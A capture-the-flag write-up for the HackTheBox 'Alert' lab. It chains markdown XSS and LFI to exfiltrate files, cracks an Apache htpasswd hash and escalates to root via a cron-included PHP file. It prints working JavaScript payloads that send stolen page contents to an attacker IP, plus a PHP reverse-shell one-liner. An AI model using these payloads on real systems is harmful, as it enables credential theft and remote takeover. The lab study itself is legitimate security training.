HackTheBox - Alert
Alert from HackTheBox has a markdown viewer vulnerable to XSS which we exploit along with an LFI to read htpasswd of apache, we found a hash that we crack giving us ssh access to the box. After that we find a cronjob running a php file, one of the includes is writable so we write a php rev shell to get a root shell.
Enumeration
nmap
We start an Nmap scan using the following command: sudo nmap -sC -sV -T4 {target_IP}
.
-sC: run all the default scripts.
-sV: Find the version of services running on the target.
-T4: Aggressive scan to provide faster results.
1
2
3
4
5
6
7
8
9
10
11
12
Host is up (0.22s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 7e:46:2c:46:6e:e6:d1:eb:2d:9d:34:25:e6:36:14:a7 (RSA)
| 256 45:7b:20:95:ec:17:c5:b4:d8:86:50:81:e0:8c:e8:b8 (ECDSA)
|_ 256 cb:92:ad:6b:fc:c8:8e:5e:9f:8c:a2:69:1b:6d:d0:f7 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Did not follow redirect to http://alert.htb/
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
We found two open ports, 22 running OpenSSH and 80 is Apache redirecting to alert.htb
.
Web
Letβs add the host alert.htb
to /etc/hosts
file and navigate to it.
The website is a markdown viewer, and we have an upload form.
There is also a contact page.
Letβs run a directory scan to see if there is anything else.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher π€ ver: 2.11.0
ββββββββββββββββββββββββββββ¬ββββββββββββββββββββββ
π― Target Url β http://alert.htb
π Threads β 50
π Wordlist β /usr/share/wordlists/seclists/Discovery/Web-Content/big.txt
π Status Codes β All Status Codes!
π₯ Timeout (secs) β 7
𦑠User-Agent β feroxbuster/2.11.0
π Extract Links β true
π HTTP methods β [GET]
π« Do Not Recurse β true
ββββββββββββββββββββββββββββ΄ββββββββββββββββββββββ
π Press [ENTER] to use the Scan Management Menuβ’
ββββββββββββββββββββββββββββββββββββββββββββββββββ
404 GET 9l 31w 271c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
403 GET 9l 28w 274c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
302 GET 23l 48w 660c http://alert.htb/index.php => index.php?page=alert
200 GET 182l 385w 3622c http://alert.htb/css/style.css
302 GET 23l 48w 660c http://alert.htb/ => index.php?page=alert
301 GET 9l 28w 304c http://alert.htb/css => http://alert.htb/css/
301 GET 9l 28w 309c http://alert.htb/messages => http://alert.htb/messages/
301 GET 9l 28w 308c http://alert.htb/uploads => http://alert.htb/uploads/
[####################] - 53s 20483/20483 0s found:6 errors:0
[####################] - 53s 20477/20477 389/s http://alert.htb/
We found messages
and uploads
but they are forbidden. Even using the /index.php?page=messages
didnβt show us anything.
Letβs run a subdomain scan.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
[β
]$ ffuf -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://alert.htb -H "Host: FUZZ.alert.htb" -fw 20
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://alert.htb
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
:: Header : Host: FUZZ.alert.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response words: 20
________________________________________________
statistics [Status: 401, Size: 467, Words: 42, Lines: 15, Duration: 119ms]
We found statistics
, we add it to /etc/hosts
file and navigate to it.
We got basic HTTP authentication. We donβt have any creds so letβs check the markdown viewer.
Iβll directly test for XSS
in markdown using the following payload.
1
2
3
# Sirius
<script>alert('XSS');</script>
It worked!
The page also gives us a link to the file in the following form http://alert.htb/visualizer.php?link_share=6752b59bdc9897.46797636.md
.
We need a way to send this to other people.
We have a contact page, letβs see if they click links.
They do click links!
To exploit this, we can use the XSS to perform a CSRF.
There was a messages page we were not able to read, letβs use the following script to read it.
1
2
3
4
5
6
7
<script>
fetch("/index.php?page=messages", {method:'GET',mode:'no-cors',credentials:'same-origin'})
.then(response => response.text())
.then(text => {
fetch('http://10.10.16.8/' + btoa(text), {mode:'no-cors'});
});
</script>
The code above uses fetch("/messages", {method:'GET',mode:'no-cors',credentials:'same-origin'})
to make a get request to /messages
.
Then it uses .then(response => response.text())
to transform the response to text.
And with .then(text => { fetch('http://attacker.ip/' + btoa(text), {mode:'no-cors'}); });
it sends the response to our machine in a base64 format using btao
.
We put the script in a md file and send it.
then we copy the link and send it using the contact page.
We got the response back! Letβs decode it and see whatβs there.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<link rel="stylesheet" href="css/style.css">
<title>Alert - Markdown Viewer</title>
</head>
<body>
<nav>
<a href="index.php?page=alert">Markdown Viewer</a>
<a href="index.php?page=contact">Contact Us</a>
<a href="index.php?page=about">About Us</a>
<a href="index.php?page=donate">Donate</a>
<a href="index.php?page=messages">Messages</a> </nav>
<div class="container">
<h1>Messages</h1><ul><li><a href='messages.php?file=2024-03-10_15-48-34.txt'>2024-03-10_15-48-34.txt</a></li></ul>
</div>
<footer>
<p style="color: black;"> 2024 Alert. All rights reserved.</p>
</footer>
</body>
</html>
The messages page loads a txt file with messages.php?file=2024-03-10_15-48-34.txt
. Letβs test if the file parameter vulnerable to LFI.
1
2
3
4
5
6
7
<script>
fetch("/messages.php?file=../../../../../../etc/passwd", {method:'GET',mode:'no-cors',credentials:'same-origin'})
.then(response => response.text())
.then(text => {
fetch('http://10.10.16.8/' + btoa(text), {mode:'no-cors'});
});
</script>
We send the md file, copy the url and send it to contact
We got a response and we confirm there is an LFI vulnerability.
Foothold
We found the statistics
subdomain which has a basic HTTP authentication.
the web server used is apache as we can see from the response headers.
1
2
3
4
5
6
7
8
9
10
[β
]$ curl statistics.alert.htb -v
[...]
>
* Request completely sent off
< HTTP/1.1 401 Unauthorized
< Date: Fri, 06 Dec 2024 08:57:18 GMT
< Server: Apache/2.4.41 (Ubuntu)
< WWW-Authenticate: Basic realm="Restricted Area"
< Content-Length: 467
< Content-Type: text/html; charset=iso-8859-1
Apache stores the credentials for basic authentication in a file named .htpasswd
.
Now we can guess the location of the file which could be /var/www/statistics/.htpasswd
or we can use the LFI to read the apache configuration file /etc/apache2/sites-available/000-default.conf
which contains the name of web root directory.
1
2
3
4
5
6
7
<script>
fetch("/messages.php?file=../../../../../..//etc/apache2/sites-available/000-default.conf", {method:'GET',mode:'no-cors',credentials:'same-origin'})
.then(response => response.text())
.then(text => {
fetch('http://10.10.16.8/' + btoa(text), {mode:'no-cors'});
});
</script>
We send the file and url and decode the base64 string.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<pre><VirtualHost *:80>
ServerName alert.htb
DocumentRoot /var/www/alert.htb
<Directory /var/www/alert.htb>
Options FollowSymLinks MultiViews
AllowOverride All
</Directory>
RewriteEngine On
RewriteCond %{HTTP_HOST} !^alert\.htb$
RewriteCond %{HTTP_HOST} !^$
RewriteRule ^/?(.*)$ http://alert.htb/$1 [R=301,L]
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>
<VirtualHost *:80>
ServerName statistics.alert.htb
DocumentRoot /var/www/statistics.alert.htb
<Directory /var/www/statistics.alert.htb>
Options FollowSymLinks MultiViews
AllowOverride All
</Directory>
<Directory /var/www/statistics.alert.htb>
Options Indexes FollowSymLinks MultiViews
AllowOverride All
AuthType Basic
AuthName "Restricted Area"
AuthUserFile /var/www/statistics.alert.htb/.htpasswd
Require valid-user
</Directory>
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>
</pre>
We see that the location of the file is at /var/www/statistics.alert.htb/.htpasswd
. Letβs get it.
1
2
3
4
5
6
7
<script>
fetch("/messages.php?file=../../../../../../var/www/statistics.alert.htb/.htpasswd", {method:'GET',mode:'no-cors',credentials:'same-origin'})
.then(response => response.text())
.then(text => {
fetch('http://10.10.16.8/' + btoa(text), {mode:'no-cors'});
});
</script>
After decoding the string we got this.
1
albert:$apr1$bMoRBJOg$igG8WBtQ1xYDTQdLjSWZQ/
We got credentials, letβs crack the hash.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
hashcat hashes.txt rockyou.txt -m 1600
hashcat (v6.2.6) starting
OpenCL API (OpenCL 3.0 ) - Platform #1 [Intel(R) Corporation]
=============================================================
Dictionary cache hit:
* Filename..: rockyou.txt
* Passwords.: 14344384
* Bytes.....: 139921497
* Keyspace..: 14344384
$apr1$bMoRBJOg$igG8WBtQ1xYDTQdLjSWZQ/:manchesterunited
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 1600 (Apache $apr1$ MD5, md5apr1, MD5 (APR))
Hash.Target......: $apr1$bMoRBJOg$igG8WBtQ1xYDTQdLjSWZQ/
Time.Started.....: Fri Dec 06 10:09:15 2024 (18 secs)
Time.Estimated...: Fri Dec 06 10:09:33 2024 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 16699 H/s (17.25ms) @ Accel:24 Loops:1 Thr:128 Vec:1
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 294912/14344384 (2.06%)
Rejected.........: 0/294912 (0.00%)
Restore.Point....: 0/14344384 (0.00%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:999-1000
Candidate.Engine.: Device Generator
Candidates.#1....: 123456 -> redsox#1
Started: Fri Dec 06 10:09:11 2024
Stopped: Fri Dec 06 10:09:35 2024
Great! We got the password, now letβs ssh to the box.
Privilege Escalation
Running linpeas we notice a port listening on 8080.
1
2
3
4
5
6
7
8
9
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 127.0.0.1:8080 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp6 0 0 :::80 :::* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
udp 0 0 127.0.0.53:53 0.0.0.0:* -
udp 0 0 0.0.0.0:68 0.0.0.0:* -
Letβs forward that port using ssh.
1
ssh -L 8000:127.0.0.1:8080 albert@alert.htb
The website is static, Letβs run a directory scan.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher π€ ver: 2.11.0
ββββββββββββββββββββββββββββ¬ββββββββββββββββββββββ
π― Target Url β http://127.0.0.1:8000/
π Threads β 50
π Wordlist β /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt
π Status Codes β All Status Codes!
π₯ Timeout (secs) β 7
𦑠User-Agent β feroxbuster/2.11.0
π Extract Links β true
π HTTP methods β [GET]
π« Do Not Recurse β true
ββββββββββββββββββββββββββββ΄ββββββββββββββββββββββ
π Press [ENTER] to use the Scan Management Menuβ’
ββββββββββββββββββββββββββββββββββββββββββββββββββ
200 GET 110l 2173w 23623c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
404 GET 7l 57w -c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200 GET 21l 169w 1068c http://127.0.0.1:8000/LICENSE
We found LICENSE, I guess there can also be a README.md
.
We found the readme, reading through it we see that it uses cronjobs for automation.
I run pspy64 to see if the cronjob exists.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
2024/12/06 07:30:01 CMD: UID=0 PID=3846 | /usr/sbin/CRON -f
2024/12/06 07:30:01 CMD: UID=0 PID=3852 |
2024/12/06 07:30:01 CMD: UID=0 PID=3851 | /bin/bash /root/scripts/cleanup.sh
2024/12/06 07:30:01 CMD: UID=0 PID=3849 | /usr/sbin/CRON -f
2024/12/06 07:30:01 CMD: UID=0 PID=3848 | /bin/bash /root/scripts/cleanup.sh
2024/12/06 07:30:01 CMD: UID=0 PID=3854 | /bin/bash /root/scripts/cleanup.sh
2024/12/06 07:30:01 CMD: UID=??? PID=3855 | ???
2024/12/06 07:31:01 CMD: UID=0 PID=3860 | /usr/sbin/CRON -f
2024/12/06 07:31:01 CMD: UID=0 PID=3861 | /bin/sh -c /usr/bin/php -f /opt/website-monitor/monitor.php >/dev/null 2>&1
2024/12/06 07:31:01 CMD: UID=0 PID=3862 | /usr/bin/php -f /opt/website-monitor/monitor.php
2024/12/06 07:31:08 CMD: UID=0 PID=3865 |
2024/12/06 07:32:01 CMD: UID=0 PID=3867 | /usr/sbin/CRON -f
2024/12/06 07:32:01 CMD: UID=0 PID=3869 | /usr/bin/php -f /opt/website-monitor/monitor.php
2024/12/06 07:32:01 CMD: UID=0 PID=3868 | /bin/sh -c /usr/bin/php -f /opt/website-monitor/monitor.php >/dev/null 2>&1
It does! And itβs running as root!
Now we head to /opt/website-monitor
directory and see if we can edit the file.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
albert@alert:/opt/website-monitor$ ls -la
total 96
drwxrwxr-x 7 root root 4096 Oct 12 01:07 .
drwxr-xr-x 4 root root 4096 Oct 12 00:58 ..
drwxrwxr-x 2 root management 4096 Oct 12 04:17 config
drwxrwxr-x 8 root root 4096 Oct 12 00:58 .git
drwxrwxr-x 2 root root 4096 Oct 12 00:58 incidents
-rwxrwxr-x 1 root root 5323 Oct 12 01:00 index.php
-rwxrwxr-x 1 root root 1068 Oct 12 00:58 LICENSE
-rwxrwxr-x 1 root root 1452 Oct 12 01:00 monitor.php
drwxrwxrwx 2 root root 4096 Oct 12 01:07 monitors
-rwxrwxr-x 1 root root 104 Oct 12 01:07 monitors.json
-rwxrwxr-x 1 root root 40849 Oct 12 00:58 Parsedown.php
-rwxrwxr-x 1 root root 1657 Oct 12 00:58 README.md
-rwxrwxr-x 1 root root 1918 Oct 12 00:58 style.css
drwxrwxr-x 2 root root 4096 Oct 12 00:58 updates
We canβt touch monitor.php
but I see that config gives the management
group write access. Checking my id and we are part of that group.
1
2
albert@alert:/opt/website-monitor/config$ id
uid=1000(albert) gid=1000(albert) groups=1000(albert),1001(management)
monitor.php
is including the file configuration.php
located in config.
1
include('config/configuration.php')
So we can add a php reverse shell to that configuration file and get root. Iβll use the following php code.
1
$sock=fsockopen("10.10.16.8",9001);exec("sh <&3 >&3 2>&3");
Now we setup a listener and wait.
1
2
3
4
5
[β
]$ nc -lvnp 9001
listening on [any] 9001 ...
connect to [10.10.16.8] from (UNKNOWN) [10.10.11.44] 42032
id
uid=0(root) gid=0(root) groups=0(root)
Thank you for taking the time to read my write-up, I hope you have learned something from this. If you have any questions or comments, please feel free to reach out to me. See you in the next hack :).